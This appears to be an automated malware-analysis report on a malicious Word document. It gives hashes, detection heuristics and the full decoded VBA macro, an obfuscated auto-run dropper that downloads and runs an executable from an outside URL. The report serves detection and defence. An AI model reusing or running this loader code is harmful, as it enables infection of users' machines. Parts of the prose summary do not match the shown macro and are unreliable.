Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcb9b60ed6b96796…

MALICIOUS

Office (OLE)

139.0 KB Created: 2016-06-27 10:59:00 Authoring application: Microsoft Office Word First seen: 2016-12-09
MD5: feb3c4ffe04db41d819094bd7828ceb4 SHA-1: ed37c404746e2baaac6818bc0bc7a776eafcad1d SHA-256: bcb9b60ed6b96796c1384e02de2f677ad240e547723bbfc20090547c0f666f8d
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains obfuscated VBA macros that execute upon opening the document. These macros are designed to download a second-stage executable from 'http://virtualcreditcards.online/msoffice/officework.exe' and save it as 'C:\Users\Public\W2d.VBS'. The script also attempts to establish persistence by writing to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(998 - 931) & Chr(630 - 553) & Chr(600 - 500) & Chr(852 - 820) & Chr(97 - 50) & Chr(735 - 636) & Chr(852 - 820) & Chr(735 - 636) & Chr(600 - 500) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(998 - 931) & Chr(630 - 553) & Chr(600 - 500) & Chr(852 - 820) & Chr(97 - 50) & Chr(735 - 636) & Chr(852 - 820) & Chr(735 - 636) & Chr(600 - 500) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & U8b & " R8z= ""http://virtualcreditcards.online/msoffice/officework.exe"">>W2d.VBS &" & U8b & " Q5d = S6n(""TZ\WKH[H5L_L"")>>W2d.VBS &" & U8b & " Set B9q = CreateObject(S6n(""TZ_TS95_TSO[[W""))>>W2d.VBS &" & U8b & " B9q.Open S6n(""NL[""), R8z, False>>W2d.VBS &" & U8b & " B9q.send ("""")>>W2d.VBS  &" & U8b & " Set T6n = CreateObject(S6n(""HKVKI5Z[YLHT""))>>W2d.VBS &" & U8b & " T6n.Open>>W2d.VBS &" & U8b & " T6n.Type = 1 >>W2d.VBS  &@eCHo T6n.Write B9q.ResponseBody>>W2d.VBS &" & U8b & " T …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(998 - 931) & Chr(630 - 553) & Chr(600 - 500) & Chr(852 - 820) & Chr(97 - 50) & Chr(735 - 636) & Chr(852 - 820) & Chr(735 - 636) & Chr(600 - 500) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & U8b & " R8z= ""http://virtualcreditcards.online/msoffice/officework.exe"">>W2d.VBS &" & U8b & " Q5d = S6n(""TZ\WKH[H5L_L"")>>W2d.VBS &" & U8b & " Set B9q = CreateObject(S6n(""TZ_TS95_TSO[[W""))>>W2d.VBS &" & U8b & " B9q.Open S6n(""NL[""), R8z, False>>W2d.VBS &" & U8b & " B9q.send ("""")>>W2d.VBS  &" & U8b & " Set T6n = CreateObject(S6n(""HKVKI5Z[YLHT""))>>W2d.VBS &" & U8b & " T6n.Open>>W2d.VBS &" & U8b & " T6n.Type = 1 >>W2d.VBS  &@eCHo T6n.Write B9q.ResponseBody>>W2d.VBS &" & U8b & " T …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://virtualcreditcards.online/msoffice/officework.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1790 bytes
SHA-256: 1e70774ac77a95566fe316abd7658fff54f6c71ba8d1292d6d5403f9bfac4287
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
U8b = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(998 - 931) & Chr(630 - 553) & Chr(600 - 500) & Chr(852 - 820) & Chr(97 - 50) & Chr(735 - 636) & Chr(852 - 820) & Chr(735 - 636) & Chr(600 - 500) & _
 Chr(852 - 820) & Chr(539 - 502) & Chr(523 - 439) & Chr(429 - 360) & Chr(831 - 754) & Chr(608 - 528) & Chr(539 - 502) & _
 " & " & U8b & " R8z= ""http://virtualcreditcards.online/msoffice/officework.exe"">>W2d.VBS &" & U8b & " Q5d = S6n(""TZ\WKH[H5L_L"")>>W2d.VBS &" & U8b & " Set B9q = CreateObject(S6n(""TZ_TS95_TSO[[W""))>>W2d.VBS &" & U8b & " B9q.Open S6n(""NL[""), R8z, False>>W2d.VBS &" & U8b & " B9q.send ("""")>>W2d.VBS  &" & U8b & " Set T6n = CreateObject(S6n(""HKVKI5Z[YLHT""))>>W2d.VBS &" & U8b & " T6n.Open>>W2d.VBS &" & U8b & " T6n.Type = 1 >>W2d.VBS  &@eCHo T6n.Write B9q.ResponseBody>>W2d.VBS &" & U8b & " T6n.Position = 0 >>W2d.VBS &" & U8b & " T6n.SaveToFile Q5d, 2 >>W2d.VBS &" & U8b & " T6n.Close>>W2d.VBS &" & U8b & " function S6n(T5l) >> W2d.VBS &" & U8b & " For L9a = 1 To Len(T5l) >>W2d.VBS &" & U8b & " D0a = Mid(T5l, L9a, 1) >>W2d.VBS &" & U8b & " D0a = Chr(Asc(D0a)- 7) >>W2d.VBS &" & U8b & " Z1l = Z1l + D0a >> W2d.VBS  &" & U8b & " Next >>W2d.VBS &" & U8b & " S6n = Z1l >>W2d.VBS &" & U8b & " End Function >>W2d.VBS  & W2d.VBS  &dEl W2d.VBS  & tIMeOUT 13 & MSUPDATA.EXE", vbHide
End Sub


Attribute VB_Name = "NewMacros"
Sub tensbvjfhrjuhhhbdghdhhakkfhbvgjkdi()
'
' tensbvjfhrjuhhhbdghdhhakkfhbvgjkdi Macro
'
'

End Sub

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